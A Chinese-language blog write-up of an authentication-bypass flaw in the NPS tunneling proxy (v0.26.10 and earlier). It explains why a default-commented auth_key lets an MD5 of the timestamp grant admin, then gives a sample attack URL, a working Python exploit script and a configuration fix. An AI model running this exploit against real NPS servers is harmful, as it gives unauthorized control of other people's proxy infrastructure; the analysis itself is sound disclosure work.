LOADING

正在加载

NPS代理工具未授权漏洞

壹 漏洞概念

之前一直用NPS做代理,后来和朋友聊天的时候,说该工具有0day未授权漏洞,然后白嫖了一下思路,然后自己进行简单分析后利用成功!NPS是一款轻量级、高性能、功能强大的内网穿透代理服务器。对于NPS近期爆出来了一个未授权的漏洞。

贰 漏洞原理及利用条件

npsweb端使用beego框架,重写了Prepare函数,在该函数中进行了权限控制,漏洞文件在web/controllers/base.go
51b981d8f0a3f19f829de5352d5a40a1.png
通过这个判断我们可以看到需要两个参数auth_keytimestamp,当这两个参数不符合if语句的第一个条件时,会进入else语句,设置session中的isadmintrue,而由于在nps的配置文件中,auth_key默认是被注释的:
1d4c01b7f3c0cdcf3afc9c1ea99ec23e.png
这就导致代码中beego.AppConfig.String("auth_key")获取的结果就是空值,这样crypt.Md5(configKey+strconv.Itoa(timestamp)就相当于只需要把timestamp进行md5即可:
9aee275736e57fac4e6eaa96fd64d40e.png
所以漏洞的原因就是由于没有设置auth_key的值导致的!

叁 适用版本

目前知道的有漏洞的版本是v0.26.10之前的(包括该版本)!

肆 复现环境说明

使用的是v0.26.10版本:
28d0dcda23da97a795411a3011ea3441.png

伍 复现

根据原理我们构造EXP(下面有脚本),这里我们使用Get请求:

http://192.168.239.139:8080/Index/Index/?auth_key=6a9000fce76de17a23d817c5f906e3df&timestamp=1663751157

93052d8de6e7dd3d749b10dd1a3512b6.png

但是我们通过web/controllers/base.go代码可以看到时效只有20s,而且如果使用Get请求的话,只能使用一次,所以建议使用Post请求,而且还需要不断的发包请求,维持权限。

陆 利用Poc|Exp以及工具

import time
import hashlib
import requests

# 构造URL
IP = "192.168.239.139:8080"
URL = "http://{}/Index/Index".format(IP)
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

# 代理
# Proxies={"http":"http://127.0.0.1:8080"}#格式是"协议":"代理地址:端口"

# 请求头
Headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0",
    "Content-Type": "application/x-www-form-urlencoded",
}

# 请求体
Data = {
    "auth_key":auth_key,
    "timestamp":int(now),
}

# 获取请求
try:
    requ = requests.post(URL,headers = Headers,data = Data)
    if "/index/hostlist" in requ.text:
        print("\033[32;1m[+]\033[0m NPS存在未授权漏洞,URL为:{}".format(URL+"/?auth_key={}&timestamp={}".format(auth_key,int(now))))
    else:
        print("\033[31;1m[-]\033[0m NPS不存在未授权漏洞!")
except BaseException as err:
    print("\033[31;1m[-]\033[0m NPS不存在未授权漏洞!",err)

柒 危害

反制NPS

捌 修复建议

只需要在配置文件里去掉auth_key的注释,同时注释掉auth_crypt_key
4cdf01cbac067c1f55f994352e7157c6.png

玖 参考

avatar
小C&天天

修学储能 先博后渊


今日诗句